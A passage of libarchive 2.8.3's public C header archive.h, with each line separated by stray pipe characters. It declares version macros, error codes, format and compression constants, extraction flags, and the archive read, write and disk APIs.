|
||||
#elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__)
|
||||
# define __LA_STDINT_H <inttypes.h>
|
||||
#endif
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h> /* Linux requires this for off_t */
|
||||
#ifdef __LA_STDINT_H
|
||||
# include __LA_STDINT_H /* int64_t, etc. */
|
||||
#endif
|
||||
#include <stdio.h> /* For FILE * */
|
||||
|
||||
/* Get appropriate definitions of standard POSIX-style types. */
|
||||
/* These should match the types used in 'struct stat' */
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#define __LA_INT64_T __int64
|
||||
# if defined(_SSIZE_T_DEFINED)
|
||||
# define __LA_SSIZE_T ssize_t
|
||||
# elif defined(_WIN64)
|
||||
# define __LA_SSIZE_T __int64
|
||||
# else
|
||||
# define __LA_SSIZE_T long
|
||||
# endif
|
||||
# if defined(__BORLANDC__)
|
||||
# define __LA_UID_T uid_t
|
||||
# define __LA_GID_T gid_t
|
||||
# else
|
||||
# define __LA_UID_T short
|
||||
# define __LA_GID_T short
|
||||
# endif
|
||||
#else
|
||||
#include <unistd.h> /* ssize_t, uid_t, and gid_t */
|
||||
#define __LA_INT64_T int64_t
|
||||
#define __LA_SSIZE_T ssize_t
|
||||
#define __LA_UID_T uid_t
|
||||
#define __LA_GID_T gid_t
|
||||
#endif
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllimport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries or non-Windows needs no special declaration. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The version number is provided as both a macro and a function.
|
||||
* The macro identifies the installed header; the function identifies
|
||||
* the library version (which may not be the same if you're using a
|
||||
* dynamically-linked version of the library). Of course, if the
|
||||
* header and library are very different, you should expect some
|
||||
* strangeness. Don't do that.
|
||||
*/
|
||||
|
||||
/*
|
||||
* The version number is expressed as a single integer that makes it
|
||||
* easy to compare versions at build time: for version a.b.c, the
|
||||
* version number is printf("%d%03d%03d",a,b,c). For example, if you
|
||||
* know your application requires version 2.12.108 or later, you can
|
||||
* assert that ARCHIVE_VERSION >= 2012108.
|
||||
*
|
||||
* This single-number format was introduced with libarchive 1.9.0 in
|
||||
* the libarchive 1.x family and libarchive 2.2.4 in the libarchive
|
||||
* 2.x family. The following may be useful if you really want to do
|
||||
* feature detection for earlier libarchive versions (which defined
|
||||
* ARCHIVE_API_VERSION and ARCHIVE_API_FEATURE instead):
|
||||
*
|
||||
* #ifndef ARCHIVE_VERSION_NUMBER
|
||||
* #define ARCHIVE_VERSION_NUMBER \
|
||||
* (ARCHIVE_API_VERSION * 1000000 + ARCHIVE_API_FEATURE * 1000)
|
||||
* #endif
|
||||
*/
|
||||
#define ARCHIVE_VERSION_NUMBER 2008003
|
||||
__LA_DECL int archive_version_number(void);
|
||||
|
||||
/*
|
||||
* Textual name/version of the library, useful for version displays.
|
||||
*/
|
||||
#define ARCHIVE_VERSION_STRING "libarchive 2.8.3"
|
||||
__LA_DECL const char * archive_version_string(void);
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/*
|
||||
* Deprecated; these are older names that will be removed in favor of
|
||||
* the simpler definitions above.
|
||||
*/
|
||||
#define ARCHIVE_VERSION_STAMP ARCHIVE_VERSION_NUMBER
|
||||
__LA_DECL int archive_version_stamp(void);
|
||||
#define ARCHIVE_LIBRARY_VERSION ARCHIVE_VERSION_STRING
|
||||
__LA_DECL const char * archive_version(void);
|
||||
#define ARCHIVE_API_VERSION (ARCHIVE_VERSION_NUMBER / 1000000)
|
||||
__LA_DECL int archive_api_version(void);
|
||||
#define ARCHIVE_API_FEATURE ((ARCHIVE_VERSION_NUMBER / 1000) % 1000)
|
||||
__LA_DECL int archive_api_feature(void);
|
||||
#endif
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* This should never have been here in the first place. */
|
||||
/* Legacy of old tar assumptions, will be removed in libarchive 3.0. */
|
||||
#define ARCHIVE_BYTES_PER_RECORD 512
|
||||
#define ARCHIVE_DEFAULT_BYTES_PER_BLOCK 10240
|
||||
#endif
|
||||
|
||||
/* Declare our basic types. */
|
||||
struct archive;
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* Error codes: Use archive_errno() and archive_error_string()
|
||||
* to retrieve details. Unless specified otherwise, all functions
|
||||
* that return 'int' use these codes.
|
||||
*/
|
||||
#define ARCHIVE_EOF 1 /* Found end of archive. */
|
||||
#define ARCHIVE_OK 0 /* Operation was successful. */
|
||||
#define ARCHIVE_RETRY (-10) /* Retry might succeed. */
|
||||
#define ARCHIVE_WARN (-20) /* Partial success. */
|
||||
/* For example, if write_header "fails", then you can't push data. */
|
||||
#define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */
|
||||
/* But if write_header is "fatal," then this archive is dead and useless. */
|
||||
#define ARCHIVE_FATAL (-30) /* No more operations are possible. */
|
||||
|
||||
/*
|
||||
* As far as possible, archive_errno returns standard platform errno codes.
|
||||
* Of course, the details vary by platform, so the actual definitions
|
||||
* here are stored in "archive_platform.h". The symbols are listed here
|
||||
* for reference; as a rule, clients should not need to know the exact
|
||||
* platform-dependent error code.
|
||||
*/
|
||||
/* Unrecognized or invalid file format. */
|
||||
/* #define ARCHIVE_ERRNO_FILE_FORMAT */
|
||||
/* Illegal usage of the library. */
|
||||
/* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */
|
||||
/* Unknown or unclassified error. */
|
||||
/* #define ARCHIVE_ERRNO_MISC */
|
||||
|
||||
/*
|
||||
* Callbacks are invoked to automatically read/skip/write/open/close the
|
||||
* archive. You can provide your own for complex tasks (like breaking
|
||||
* archives across multiple tapes) or use standard ones built into the
|
||||
* library.
|
||||
*/
|
||||
|
||||
/* Returns pointer and size of next block of data from archive. */
|
||||
typedef __LA_SSIZE_T archive_read_callback(struct archive *,
|
||||
void *_client_data, const void **_buffer);
|
||||
|
||||
/* Skips at most request bytes from archive and returns the skipped amount */
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Libarchive 1.0 used ssize_t for the return, which is only 32 bits
|
||||
* on most 32-bit platforms; not large enough. */
|
||||
typedef __LA_SSIZE_T archive_skip_callback(struct archive *,
|
||||
void *_client_data, size_t request);
|
||||
#elif ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Libarchive 2.0 used off_t here, but that is a bad idea on Linux and a
|
||||
* few other platforms where off_t varies with build settings. */
|
||||
typedef off_t archive_skip_callback(struct archive *,
|
||||
void *_client_data, off_t request);
|
||||
#else
|
||||
/* Libarchive 3.0 uses int64_t here, which is actually guaranteed to be
|
||||
* 64 bits on every platform. */
|
||||
typedef __LA_INT64_T archive_skip_callback(struct archive *,
|
||||
void *_client_data, __LA_INT64_T request);
|
||||
#endif
|
||||
|
||||
/* Returns size actually written, zero on EOF, -1 on error. */
|
||||
typedef __LA_SSIZE_T archive_write_callback(struct archive *,
|
||||
void *_client_data,
|
||||
const void *_buffer, size_t _length);
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Open callback is actually never needed; remove it in libarchive 3.0. */
|
||||
typedef int archive_open_callback(struct archive *, void *_client_data);
|
||||
#endif
|
||||
|
||||
typedef int archive_close_callback(struct archive *, void *_client_data);
|
||||
|
||||
/*
|
||||
* Codes for archive_compression.
|
||||
*/
|
||||
#define ARCHIVE_COMPRESSION_NONE 0
|
||||
#define ARCHIVE_COMPRESSION_GZIP 1
|
||||
#define ARCHIVE_COMPRESSION_BZIP2 2
|
||||
#define ARCHIVE_COMPRESSION_COMPRESS 3
|
||||
#define ARCHIVE_COMPRESSION_PROGRAM 4
|
||||
#define ARCHIVE_COMPRESSION_LZMA 5
|
||||
#define ARCHIVE_COMPRESSION_XZ 6
|
||||
#define ARCHIVE_COMPRESSION_UU 7
|
||||
#define ARCHIVE_COMPRESSION_RPM 8
|
||||
|
||||
/*
|
||||
* Codes returned by archive_format.
|
||||
*
|
||||
* Top 16 bits identifies the format family (e.g., "tar"); lower
|
||||
* 16 bits indicate the variant. This is updated by read_next_header.
|
||||
* Note that the lower 16 bits will often vary from entry to entry.
|
||||
* In some cases, this variation occurs as libarchive learns more about
|
||||
* the archive (for example, later entries might utilize extensions that
|
||||
* weren't necessary earlier in the archive; in this case, libarchive
|
||||
* will change the format code to indicate the extended format that
|
||||
* was used). In other cases, it's because different tools have
|
||||
* modified the archive and so different parts of the archive
|
||||
* actually have slightly different formts. (Both tar and cpio store
|
||||
* format codes in each entry, so it is quite possible for each
|
||||
* entry to be in a different format.)
|
||||
*/
|
||||
#define ARCHIVE_FORMAT_BASE_MASK 0xff0000
|
||||
#define ARCHIVE_FORMAT_CPIO 0x10000
|
||||
#define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1)
|
||||
#define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2)
|
||||
#define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3)
|
||||
#define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4)
|
||||
#define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5)
|
||||
#define ARCHIVE_FORMAT_SHAR 0x20000
|
||||
#define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1)
|
||||
#define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2)
|
||||
#define ARCHIVE_FORMAT_TAR 0x30000
|
||||
#define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1)
|
||||
#define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2)
|
||||
#define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3)
|
||||
#define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4)
|
||||
#define ARCHIVE_FORMAT_ISO9660 0x40000
|
||||
#define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1)
|
||||
#define ARCHIVE_FORMAT_ZIP 0x50000
|
||||
#define ARCHIVE_FORMAT_EMPTY 0x60000
|
||||
#define ARCHIVE_FORMAT_AR 0x70000
|
||||
#define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1)
|
||||
#define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2)
|
||||
#define ARCHIVE_FORMAT_MTREE 0x80000
|
||||
#define ARCHIVE_FORMAT_RAW 0x90000
|
||||
#define ARCHIVE_FORMAT_XAR 0xA0000
|
||||
|
||||
/*-
|
||||
* Basic outline for reading an archive:
|
||||
* 1) Ask archive_read_new for an archive reader object.
|
||||
* 2) Update any global properties as appropriate.
|
||||
* In particular, you'll certainly want to call appropriate
|
||||
* archive_read_support_XXX functions.
|
||||
* 3) Call archive_read_open_XXX to open the archive
|
||||
* 4) Repeatedly call archive_read_next_header to get information about
|
||||
* successive archive entries. Call archive_read_data to extract
|
||||
* data for entries of interest.
|
||||
* 5) Call archive_read_finish to end processing.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_read_new(void);
|
||||
|
||||
/*
|
||||
* The archive_read_support_XXX calls enable auto-detect for this
|
||||
* archive handle. They also link in the necessary support code.
|
||||
* For example, if you don't want bzlib linked in, don't invoke
|
||||
* support_compression_bzip2(). The "all" functions provide the
|
||||
* obvious shorthand.
|
||||
*/
|
||||
__LA_DECL int archive_read_support_compression_all(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_bzip2(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_compress(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_gzip(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_lzma(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_none(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_program(struct archive *,
|
||||
const char *command);
|
||||
__LA_DECL int archive_read_support_compression_program_signature
|
||||
(struct archive *, const char *,
|
||||
const void * /* match */, size_t);
|
||||
|
||||
__LA_DECL int archive_read_support_compression_rpm(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_uu(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_xz(struct archive *);
|
||||
|
||||
__LA_DECL int archive_read_support_format_all(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_ar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_cpio(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_empty(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_gnutar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_iso9660(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_mtree(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_raw(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_tar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_xar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_zip(struct archive *);
|
||||
|
||||
|
||||
/* Open the archive using callbacks for archive I/O. */
|
||||
__LA_DECL int archive_read_open(struct archive *, void *_client_data,
|
||||
archive_open_callback *, archive_read_callback *,
|
||||
archive_close_callback *);
|
||||
__LA_DECL int archive_read_open2(struct archive *, void *_client_data,
|
||||
archive_open_callback *, archive_read_callback *,
|
||||
archive_skip_callback *, archive_close_callback *);
|
||||
|
||||
/*
|
||||
* A variety of shortcuts that invoke archive_read_open() with
|
||||
* canned callbacks suitable for common situations. The ones that
|
||||
* accept a block size handle tape blocking correctly.
|
||||
*/
|
||||
/* Use this if you know the filename. Note: NULL indicates stdin. */
|
||||
__LA_DECL int archive_read_open_filename(struct archive *,
|
||||
const char *_filename, size_t _block_size);
|
||||
/* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */
|
||||
__LA_DECL int archive_read_open_file(struct archive *,
|
||||
const char *_filename, size_t _block_size);
|
||||
/* Read an archive that's stored in memory. */
|
||||
__LA_DECL int archive_read_open_memory(struct archive *,
|
||||
void * buff, size_t size);
|
||||
/* A more involved version that is only used for internal testing. */
|
||||
__LA_DECL int archive_read_open_memory2(struct archive *a, void *buff,
|
||||
size_t size, size_t read_size);
|
||||
/* Read an archive that's already open, using the file descriptor. */
|
||||
__LA_DECL int archive_read_open_fd(struct archive *, int _fd,
|
||||
size_t _block_size);
|
||||
/* Read an archive that's already open, using a FILE *. */
|
||||
/* Note: DO NOT use this with tape drives. */
|
||||
__LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file);
|
||||
|
||||
/* Parses and returns next entry header. */
|
||||
__LA_DECL int archive_read_next_header(struct archive *,
|
||||
struct archive_entry **);
|
||||
|
||||
/* Parses and returns next entry header using the archive_entry passed in */
|
||||
__LA_DECL int archive_read_next_header2(struct archive *,
|
||||
struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Retrieve the byte offset in UNCOMPRESSED data where last-read
|
||||
* header started.
|
||||
*/
|
||||
__LA_DECL __LA_INT64_T archive_read_header_position(struct archive *);
|
||||
|
||||
/* Read data from the body of an entry. Similar to read(2). */
|
||||
__LA_DECL __LA_SSIZE_T archive_read_data(struct archive *,
|
||||
void *, size_t);
|
||||
|
||||
/*
|
||||
* A zero-copy version of archive_read_data that also exposes the file offset
|
||||
* of each returned block. Note that the client has no way to specify
|
||||
* the desired size of the block. The API does guarantee that offsets will
|
||||
* be strictly increasing and that returned blocks will not overlap.
|
||||
*/
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
__LA_DECL int archive_read_data_block(struct archive *a,
|
||||
const void **buff, size_t *size, off_t *offset);
|
||||
#else
|
||||
__LA_DECL int archive_read_data_block(struct archive *a,
|
||||
const void **buff, size_t *size,
|
||||
__LA_INT64_T *offset);
|
||||
#endif
|
||||
|
||||
/*-
|
||||
* Some convenience functions that are built on archive_read_data:
|
||||
* 'skip': skips entire entry
|
||||
* 'into_buffer': writes data into memory buffer that you provide
|
||||
* 'into_fd': writes data to specified filedes
|
||||
*/
|
||||
__LA_DECL int archive_read_data_skip(struct archive *);
|
||||
__LA_DECL int archive_read_data_into_buffer(struct archive *,
|
||||
void *buffer, __LA_SSIZE_T len);
|
||||
__LA_DECL int archive_read_data_into_fd(struct archive *, int fd);
|
||||
|
||||
/*
|
||||
* Set read options.
|
||||
*/
|
||||
/* Apply option string to the format only. */
|
||||
__LA_DECL int archive_read_set_format_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to the filter only. */
|
||||
__LA_DECL int archive_read_set_filter_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to both the format and the filter. */
|
||||
__LA_DECL int archive_read_set_options(struct archive *_a,
|
||||
const char *s);
|
||||
|
||||
/*-
|
||||
* Convenience function to recreate the current entry (whose header
|
||||
* has just been read) on disk.
|
||||
*
|
||||
* This does quite a bit more than just copy data to disk. It also:
|
||||
* - Creates intermediate directories as required.
|
||||
* - Manages directory permissions: non-writable directories will
|
||||
* be initially created with write permission enabled; when the
|
||||
* archive is closed, dir permissions are edited to the values specified
|
||||
* in the archive.
|
||||
* - Checks hardlinks: hardlinks will not be extracted unless the
|
||||
* linked-to file was also extracted within the same session. (TODO)
|
||||
*/
|
||||
|
||||
/* The "flags" argument selects optional behavior, 'OR' the flags you want. */
|
||||
|
||||
/* Default: Do not try to set owner/group. */
|
||||
#define ARCHIVE_EXTRACT_OWNER (0x0001)
|
||||
/* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */
|
||||
#define ARCHIVE_EXTRACT_PERM (0x0002)
|
||||
/* Default: Do not restore mtime/atime. */
|
||||
#define ARCHIVE_EXTRACT_TIME (0x0004)
|
||||
/* Default: Replace existing files. */
|
||||
#define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008)
|
||||
/* Default: Try create first, unlink only if create fails with EEXIST. */
|
||||
#define ARCHIVE_EXTRACT_UNLINK (0x0010)
|
||||
/* Default: Do not restore ACLs. */
|
||||
#define ARCHIVE_EXTRACT_ACL (0x0020)
|
||||
/* Default: Do not restore fflags. */
|
||||
#define ARCHIVE_EXTRACT_FFLAGS (0x0040)
|
||||
/* Default: Do not restore xattrs. */
|
||||
#define ARCHIVE_EXTRACT_XATTR (0x0080)
|
||||
/* Default: Do not try to guard against extracts redirected by symlinks. */
|
||||
/* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */
|
||||
#define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100)
|
||||
/* Default: Do not reject entries with '..' as path elements. */
|
||||
#define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200)
|
||||
/* Default: Create parent directories as needed. */
|
||||
#define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400)
|
||||
/* Default: Overwrite files, even if one on disk is newer. */
|
||||
#define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800)
|
||||
/* Detect blocks of 0 and write holes instead. */
|
||||
#define ARCHIVE_EXTRACT_SPARSE (0x1000)
|
||||
|
||||
__LA_DECL int archive_read_extract(struct archive *, struct archive_entry *,
|
||||
int flags);
|
||||
__LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *,
|
||||
struct archive * /* dest */);
|
||||
__LA_DECL void archive_read_extract_set_progress_callback(struct archive *,
|
||||
void (*_progress_func)(void *), void *_user_data);
|
||||
|
||||
/* Record the dev/ino of a file that will not be written. This is
|
||||
* generally set to the dev/ino of the archive being read. */
|
||||
__LA_DECL void archive_read_extract_set_skip_file(struct archive *,
|
||||
dev_t, ino_t);
|
||||
|
||||
/* Close the file and release most resources. */
|
||||
__LA_DECL int archive_read_close(struct archive *);
|
||||
/* Release all resources and destroy the object. */
|
||||
/* Note that archive_read_finish will call archive_read_close for you. */
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Erroneously declared to return void in libarchive 1.x */
|
||||
__LA_DECL void archive_read_finish(struct archive *);
|
||||
#else
|
||||
__LA_DECL int archive_read_finish(struct archive *);
|
||||
#endif
|
||||
|
||||
/*-
|
||||
* To create an archive:
|
||||
* 1) Ask archive_write_new for a archive writer object.
|
||||
* 2) Set any global properties. In particular, you should set
|
||||
* the compression and format to use.
|
||||
* 3) Call archive_write_open to open the file (most people
|
||||
* will use archive_write_open_file or archive_write_open_fd,
|
||||
* which provide convenient canned I/O callbacks for you).
|
||||
* 4) For each entry:
|
||||
* - construct an appropriate struct archive_entry structure
|
||||
* - archive_write_header to write the header
|
||||
* - archive_write_data to write the entry data
|
||||
* 5) archive_write_close to close the output
|
||||
* 6) archive_write_finish to cleanup the writer and release resources
|
||||
*/
|
||||
__LA_DECL struct archive *archive_write_new(void);
|
||||
__LA_DECL int archive_write_set_bytes_per_block(struct archive *,
|
||||
int bytes_per_block);
|
||||
__LA_DECL int archive_write_get_bytes_per_block(struct archive *);
|
||||
/* XXX This is badly misnamed; suggestions appreciated. XXX */
|
||||
__LA_DECL int archive_write_set_bytes_in_last_block(struct archive *,
|
||||
int bytes_in_last_block);
|
||||
__LA_DECL int archive_write_get_bytes_in_last_block(struct archive *);
|
||||
|
||||
/* The dev/ino of a file that won't be archived. This is used
|
||||
* to avoid recursively adding an archive to itself. */
|
||||
__LA_DECL int archive_write_set_skip_file(struct archive *, dev_t, ino_t);
|
||||
|
||||
__LA_DECL int archive_write_set_compression_bzip2(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_compress(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_gzip(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_lzma(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_none(struct archive *);
|
||||
__LA_DECL int archive_write_set_compression_program(struct archive *,
|
||||
const char *cmd);
|
||||
__LA_DECL int archive_write_set_compression_xz(struct archive *);
|
||||
/* A convenience function to set the format based on the code or name. */
|
||||
__LA_DECL int archive_write_set_format(struct archive *, int format_code);
|
||||
__LA_DECL int archive_write_set_format_by_name(struct archive *,
|
||||
const char *name);
|
||||
/* To minimize link pollution, use one or more of the following. */
|
||||
__LA_DECL int archive_write_set_format_ar_bsd(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_ar_svr4(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_cpio(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_cpio_newc(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_mtree(struct archive *);
|
||||
/* TODO: int archive_write_set_format_old_tar(struct archive *); */
|
||||
__LA_DECL int archive_write_set_format_pax(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_pax_restricted(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_shar(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_shar_dump(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_ustar(struct archive *);
|
||||
__LA_DECL int archive_write_set_format_zip(struct archive *);
|
||||
__LA_DECL int archive_write_open(struct archive *, void *,
|
||||
archive_open_callback *, archive_write_callback *,
|
||||
archive_close_callback *);
|
||||
__LA_DECL int archive_write_open_fd(struct archive *, int _fd);
|
||||
__LA_DECL int archive_write_open_filename(struct archive *, const char *_file);
|
||||
/* A deprecated synonym for archive_write_open_filename() */
|
||||
__LA_DECL int archive_write_open_file(struct archive *, const char *_file);
|
||||
__LA_DECL int archive_write_open_FILE(struct archive *, FILE *);
|
||||
/* _buffSize is the size of the buffer, _used refers to a variable that
|
||||
* will be updated after each write into the buffer. */
|
||||
__LA_DECL int archive_write_open_memory(struct archive *,
|
||||
void *_buffer, size_t _buffSize, size_t *_used);
|
||||
|
||||
/*
|
||||
* Note that the library will truncate writes beyond the size provided
|
||||
* to archive_write_header or pad if the provided data is short.
|
||||
*/
|
||||
__LA_DECL int archive_write_header(struct archive *,
|
||||
struct archive_entry *);
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* This was erroneously declared to return "int" in libarchive 1.x. */
|
||||
__LA_DECL int archive_write_data(struct archive *,
|
||||
const void *, size_t);
|
||||
#else
|
||||
/* Libarchive 2.0 and later return ssize_t here. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data(struct archive *,
|
||||
const void *, size_t);
|
||||
#endif
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Libarchive 1.x and 2.x use off_t for the argument, but that's not
|
||||
* stable on Linux. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
|
||||
const void *, size_t, off_t);
|
||||
#else
|
||||
/* Libarchive 3.0 uses explicit int64_t to ensure consistent 64-bit support. */
|
||||
__LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *,
|
||||
const void *, size_t, __LA_INT64_T);
|
||||
#endif
|
||||
__LA_DECL int archive_write_finish_entry(struct archive *);
|
||||
__LA_DECL int archive_write_close(struct archive *);
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Return value was incorrect in libarchive 1.x. */
|
||||
__LA_DECL void archive_write_finish(struct archive *);
|
||||
#else
|
||||
/* Libarchive 2.x and later returns an error if this fails. */
|
||||
/* It can fail if the archive wasn't already closed, in which case
|
||||
* archive_write_finish() will implicitly call archive_write_close(). */
|
||||
__LA_DECL int archive_write_finish(struct archive *);
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Set write options.
|
||||
*/
|
||||
/* Apply option string to the format only. */
|
||||
__LA_DECL int archive_write_set_format_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to the compressor only. */
|
||||
__LA_DECL int archive_write_set_compressor_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to both the format and the compressor. */
|
||||
__LA_DECL int archive_write_set_options(struct archive *_a,
|
||||
const char *s);
|
||||
|
||||
|
||||
/*-
|
||||
* ARCHIVE_WRITE_DISK API
|
||||
*
|
||||
* To create objects on disk:
|
||||
* 1) Ask archive_write_disk_new for a new archive_write_disk object.
|
||||
* 2) Set any global properties. In particular, you probably
|
||||
* want to set the options.
|
||||
* 3) For each entry:
|
||||
* - construct an appropriate struct archive_entry structure
|
||||
* - archive_write_header to create the file/dir/etc on disk
|
||||
* - archive_write_data to write the entry data
|
||||
* 4) archive_write_finish to cleanup the writer and release resources
|
||||
*
|
||||
* In particular, you can use this in conjunction with archive_read()
|
||||
* to pull entries out of an archive and create them on disk.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_write_disk_new(void);
|
||||
/* This file will not be overwritten. */
|
||||
__LA_DECL int archive_write_disk_set_skip_file(struct archive *,
|
||||
dev_t, ino_t);
|
||||
/* Set flags to control how the next item gets created.
|
||||
* This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */
|
||||
__LA_DECL int archive_write_disk_set_options(struct archive *,
|
||||
int flags);
|
||||
/*
|
||||
* The lookup functions are given uname/uid (or gname/gid) pairs and
|
||||
* return a uid (gid) suitable for this system. These are used for
|
||||
* restoring ownership and for setting ACLs. The default functions
|
||||
* are naive, they just return the uid/gid. These are small, so reasonable
|
||||
* for applications that don't need to preserve ownership; they
|
||||
* are probably also appropriate for applications that are doing
|
||||
* same-system backup and restore.
|
||||
*/
|
||||
/*
|
||||
* The "standard" lookup functions use common system calls to lookup
|
||||
* the uname/gname, falling back to the uid/gid if the names can't be
|
||||
* found. They cache lookups and are reasonably fast, but can be very
|
||||
* large, so they are not used unless you ask for them. In
|
||||
* particular, these match the specifications of POSIX "pax" and old
|
||||
* POSIX "tar".
|
||||
*/
|
||||
__LA_DECL int archive_write_disk_set_standard_lookup(struct archive *);
|
||||
/*
|
||||
* If neither the default (naive) nor the standard (big) functions suit
|
||||
* your needs, you can write your own and register them. Be sure to
|
||||
* include a cleanup function if you have allocated private data.
|
||||
*/
|
||||
__LA_DECL int archive_write_disk_set_group_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
__LA_GID_T (*)(void *, const char *, __LA_GID_T),
|
||||
void (* /* cleanup */)(void *));
|
||||
__LA_DECL int archive_write_disk_set_user_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
__LA_UID_T (*)(void *, const char *, __LA_UID_T),
|
||||
void (* /* cleanup */)(void *));
|
||||
|
||||
/*
|
||||
* ARCHIVE_READ_DISK API
|
||||
*
|
||||
* This is still evolving and somewhat experimental.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_read_disk_new(void);
|
||||
/* The names for symlink modes here correspond to an old BSD
|
||||
* command-line argument convention: -L, -P, -H */
|
||||
/* Follow all symlinks. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_logical(struct archive *);
|
||||
/* Follow no symlinks. */
|
||||
__LA_DECL int archive_read_disk_set_symlink_physical(struct archive *);
|
||||
/* Follow symlink initially, then not. */
|
||||
